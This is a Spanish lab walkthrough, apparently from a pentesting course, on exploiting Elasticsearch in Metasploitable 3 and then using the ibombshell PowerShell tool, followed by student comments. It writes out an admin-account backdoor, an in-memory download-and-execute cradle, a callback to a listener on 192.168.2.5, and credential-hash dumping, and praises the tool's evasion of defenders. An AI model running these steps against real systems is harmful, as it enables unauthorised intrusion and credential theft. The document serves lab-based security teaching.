Para esta práctica se aprovechará la vulnerabilidad de elasticsearch en Metasploitable 3. Para esto iniciamos msfconsole y seleccionar el exploit a utilizar con el comando use de la herrramienta:
Use exploit/multi/elasticsearch/script_mvel_rce
Nota: es importante agregar el RHOST que será el equipo objetivo.
Nos devolverá una Shell Meterpreter.
Con el comando pwd mostrará la dirección donde te encuentras.
Para obtener el número de proceso mediante getpid.
El usuario se obtiene con:
Para conocer mayores detalles del sistema operativo
Con el comando ps se mostrarán los procesos corriendo dentro del sistema.
Conocer su tabla ARP ayudará determinar rápidamente equipos dentro de la red.
Obteniendo una Shell del sistema y utilizando escritorio remoto
Se ejecuta el comando Shell.
Obteniendo los usuarios.
Agregar un usuario de nombre pedro y el password pedro1234
Después agregarlo al grupo de administradores con el comando:
En otra terminal se ejecuta el comando:
Hasta aquí todo bien, pero el tener un usuario extra es muy evidente y el administrador de sistemas puede sospechar rápidamente. Por lo cual se hará uso de la herramienta Ibombshell la cual está escrita en Powershell que permite rápidamente obtener funcionalidades post-exploit en cualquier instante y sistema operativo a través de un repositorio de Github.
Es una shell remota que se carga directamente en memoria sin ser almacenado en disco, por lo cual se dejan menos rastros y proporciona acceso a una gran cantidad de características de pentesting.
Jugando con IbombShell
En el equipo donde se encuentra Kali Linux se descarga el repositorio de “ibombshell” en el siguiente enlace.
https://github.com/ElevenPaths/ibombshell
Para descomprimir con el comando unzip ibombshell-master.zip
Se ingresa a la carpeta ibombshell-master/ibomshell c2
Ejecutar el comando pip install -r requirements.txt para instalar.
Para iniciar e ingresa pyhton3 ibombshell.py, con lo cual aparecerá la siguiente pantalla una vez terminada la carga.
Se crea un listener, para esto es necesario cargar el módulo.
load modules/listener.py
Para ver las opciones que presenta el módulo se ejecuta el comando “show”
Se puede utilizar los parámetros por defecto, pero si el puerto de escucha se encuentra ocupado pueden utilizar otro sin problema. Para iniciar el módulo con el comando “run”, quedando a la escucha en espera de una conexión.
Para realizar una conexión, en el equipo donde se encuentra instalado Metaploitable 3 se inicia escritorio remoto y con el usuario previamente creado:
Usuario: pedro
Password: pedro1234
Se prosigue a abrir Powershell y se ejecuta el siguiente comando para obtener una consola de Ibombshell.
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)
Para obtener una consola que se comunique con nuestro equipo se ejecuta el comando:
console -Silently -uriConsole http://192.168.2.5:8080
Al ejecutar el comando anterior, se mostrará en nuestro módulo de Ibombshell un nuevo warrior (Equipo conectado).
Para ver el listado de los warrios se ejecuta el comando:
Warrior list
Se configura el módulo para establecer la comunicación.
Después se selecciona el warrior
Se manda una instrucción en este caso “whoami”
Con el comando run se mostrará el resultado
Para obtener las credenciales del equipo basta con carga el módulo:
Load modules/credentials/invoke-powerdump.py
Se establece el warrior que sigue siendo el mismo.
Se ejecuta con el comando “Run” y se obtienen los usuarios junto con los hashes de las contraseñas.
Entre otras cosas interesante que permite Ibombshell es desactivar el análisis en tiempo real de Windows Defender, bypass de UAC, obtener llaves SSH y realizar movimientos laterales. Como pueden observar una herramienta muy interesante que debemos añadir en nuestro arsenal.
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’) al ejecutar ese comonado me sale error
ll/master/console’)
Exception calling "DownloadString" with "1" argument(s): "The request was aborted: Could not create SSL/TLS secure
channel."
At line:1 char:1
Exception calling “DownloadString” with “1” argument(s): "The request was aborted: Could not create SSL/TLS secure channel."
Solución:
PowerShell, especialmente en versiones más antiguas, no siempre utiliza TLS 1.2 por defecto, que es el protocolo de seguridad requerido por muchos sitios web modernos, incluido GitHub. Puedes forzar a PowerShell a usar TLS 1.2 con el siguiente comando:
Tengo una duda. y viene referente al comentario anterior.
supongamos que no creo el usuario remoto. ya que al momento de explotar el elasticsearch, nos da permisos de administrador.
podriamos ejecutar el powershell desde lineas de comandos llendo ala direccion.
C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
desde alli suministrar el comando.
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)
posteriormente.
console -Silently -uriConsole http://192.168.2.5:8080
Tengo un incoveniente al ejecutar el comando:
“iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)”
Me muestra un error de:
Exception calling “DownloadString” with “1” argument(s): "The request was aborted: Could not create SSL/TLS secure channel."
Les agradecería un tip para poderlo solucionar.
Muchas gracias.
Al querer ejecutar el comando "iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)" Me tira el error: Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: An unexpected error occurred on a send."
A alguien más le sucedió?
Duda, siguiendo los pasos me doy cuenta que la opción de acceso remoto se encuentra deshabilitada por defecto. como podría activarla desde la shell(cmd) que se creo.
ya que trato de conectarme via rdesktop ip -u "usuario" -p "contraseña" y la coneccion es unable.
probe desde una terminal windows (cliente remoto) y sigue presentandose.
Excelente documento.
Pregunta. Tengo problemas para abrir Nessus, me dice que la base de datos esta corrupta. He buscado pero no logro solucionarlo. Algun companero con el mismo problema?
¿Cómo llegamos a la conclusión que el equipo metasploitable tiene la vulnerabilidad de elasticsearch? He ralizado un escaneo con Nessus y no ha encontrado dicha vulnerabilidad. Gracias.
Hola, esta vulnerabilidad a mi tampoco me aparecio, pero si pude explotar con ota vulnerabilidad que tenia, en efecto una puerta trasera, lo importante es que tengas acceso a Metasploit desde el kali con una de las vulnerabilidades encontradas por nesus y explotarla con Metaexploit, los pasos siguientes son iguales si ya tienes el acceso a la maquina.
Muy util esta Practica, sin embargo me toco para efectos del ejercicio crear el usuario pedro directamente en la maquina con metaexploitable3 ya que el creado a través de Kali nunca lo vi reflejado.
Posterior a lo anterior es una excelente clase...
Hola a todos
Disculpen para que se creó ibombshell y que es eso de los guerreros (warriors)
y de paso alguien puede explicar que se está haciendo exactamete a partir de que empezamos con lo de ibombshell
porfa alguien que mande mas info porque me quedé a medias JSJSJS 🤣🤣🤣🤣